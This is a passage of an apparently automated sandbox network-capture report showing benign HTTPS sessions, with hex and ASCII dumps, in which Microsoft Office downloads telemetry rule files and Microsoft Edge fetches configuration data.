20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:21 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:21 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 5110c4ae-601e-0050-54a6-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093721Z-17df447cdb57g7m7hC1DFW791s0000000bvg00000000334r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:22 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:21 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:22 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 22f0b6c0-c01e-00a1-19a5-347e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093722Z-17df447cdb542kkvhC1DFW3d4400000000h0000000004p55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:22 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:21 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d980b71d-401e-000a-13a8-344a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093722Z-15869dbbcc6rzfwxhC1DFWrkb00000000azg000000003cpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:22 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:22 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093722Z-16547b76f7f22sh5hC1DFWyb4w0000000f9000000000cfwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:22 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49802	52.123.243.216	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:23 UTC	746	OUT	GET /config/v1/Edge/117.0.2045.55?clientId=5518710994624701133&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=7&mngd=0&installdate=1696486680&edu=0&bphint=2&soobedate=1696486676&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55
2024-11-12 09:37:23 UTC	1177	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 58415 Content-Type: application/json Expires: Tue, 12 Nov 2024 10:37:23 GMT ETag: "Fjzat/CLuUenGqFtFkB/aTaXzBj1t5UWiC4WEZu0ps0=" Server: Microsoft-IIS/10.0 request-id: 68423590-a305-b81f-cac7-508f9d13adc0 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-SIP-FR3&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: 68423590-a305-b81f-cac7-508f9d13adc0 FR3P281CA0121 2024-11-12T09:37:23.154Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: HHN X-FEProxyInfo: FR3P281CA0121.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN X-Powered-By: ASP.NET X-FEServer: FR3P281CA0121 Date: Tue, 12 Nov 2024 09:37:23 GMT Connection: close
2024-11-12 09:37:23 UTC	857	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 50 68 6f 65 6e 69 78 43 75 73 74 6f 6d 54 68 65 6d 65 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"PhoenixCustomTheme":{"enableFeatures":[
2024-11-12 09:37:23 UTC	14837	IN	Data Raw: 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 53 6b 79 70 65 41 75 74 68 54 68 72 6f 74 74 6c 65 22 5d 7d 2c 22 57 61 6c 6c 65 74 45 43 52 65 62 61 74 65 73 49 6e 63 65 6e 74 69 76 65 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 57 61 6c 6c 65 74 43 68 65 63 6b 6f 75 74 52 65 77 61 72 64 73 49 6e 63 65 6e 74 69 76 65 22 5d 7d 2c 22 45 64 67 65 53 68 6f 70 70 69 6e 67 44 6f 6d 4d 75 74 61 74 69 6f 6e 45 78 70 61 6e 73 69 6f 6e 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 70 70 69 6e 67 45 78 70 36 37 22 5d 7d 2c 22 53 68 6f 72 65 6c 69 6e 65 53 6b 79 70 65 53 41 54 65 6c 45 76 65 6e 74 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 48 75 62 41 70 Data Ascii: Features":["msEdgeSkypeAuthThrottle"]},"WalletECRebatesIncentive":{"disableFeatures":["msWalletCheckoutRewardsIncentive"]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"ShorelineSkypeSATelEvent":{"enableFeatures":["msEdgeHubAp
2024-11-12 09:37:23 UTC	16384	IN	Data Raw: 77 77 77 2e 74 65 6c 65 67 72 61 70 68 69 6e 64 69 61 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 74 69 6d 65 73 6f 66 69 6e 64 69 61 2e 69 6e 64 69 61 74 69 6d 65 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 70 75 73 68 65 6e 67 61 67 65 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 74 69 6d 65 73 6e 6f 77 6e 65 77 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 75 70 6f 6e 72 61 Data Ascii: www.telegraphindia.com"},{"applied_policy":"Prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"Prompt","domain":"pushengage.com"},{"applied_policy":"Prompt","domain":"www.timesnownews.com"},{"applied_policy":"Prompt","domain":"www.couponra
2024-11-12 09:37:23 UTC	16384	IN	Data Raw: 74 61 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 76 61 63 63 69 6e 65 72 65 67 2e 68 65 61 6c 74 68 2e 6e 64 2e 67 6f 76 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 6d 61 73 73 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6d 74 72 65 61 64 79 63 6c 69 6e 69 63 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 76 61 63 63 69 6e 61 74 65 72 69 2e 6f 72 67 Data Ascii: ta.com","applied_policy":"ChromeUA"},{"domain":"vaccinereg.health.nd.gov","applied_policy":"ChromeUA"},{"domain":"www.comassvax.org","applied_policy":"ChromeUA"},{"domain":"www.mtreadyclinic.org","applied_policy":"ChromeUA"},{"domain":"www.vaccinateri.org
2024-11-12 09:37:23 UTC	9953	IN	Data Raw: 7b 22 64 6f 6d 61 69 6e 22 3a 22 33 6d 69 6e 2d 63 6c 61 73 73 2e 6f 66 66 63 6e 2e 6d 6f 62 69 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 61 69 6c 2e 6e 61 74 65 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 69 74 6e 65 73 73 74 65 73 74 2e 78 74 75 2e 65 64 75 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 69 72 6f 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 6f 77 67 61 6d 65 2e 6a 70 22 2c Data Ascii: {"domain":"3min-class.offcn.mobi","applied_policy":"ChromeUA"},{"domain":"mail.nate.com","applied_policy":"ChromeUA"},{"domain":"fitnesstest.xtu.edu.cn","applied_policy":"ChromeUA"},{"domain":"miro.com","applied_policy":"ChromeUA"},{"domain":"wowgame.jp",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49806	94.245.104.56	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:23 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:23 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 12 Nov 2024 09:37:22 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=6ec734f7cf79a0cade390611c8bcbc1c80600480b76174a7c93df6cd248747e5;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=6ec734f7cf79a0cade390611c8bcbc1c80600480b76174a7c93df6cd248747e5;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:23 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093723Z-16547b76f7ftdm8dhC1DFWs13g0000000fbg00000000beca x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:23 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093723Z-16547b76f7f7rtshhC1DFWrtqn0000000fk0000000002yg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:23 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 50e8b97d-601e-0070-17a0-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093723Z-17df447cdb5xwzjjhC1DFWz7vs00000000x0000000005380 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
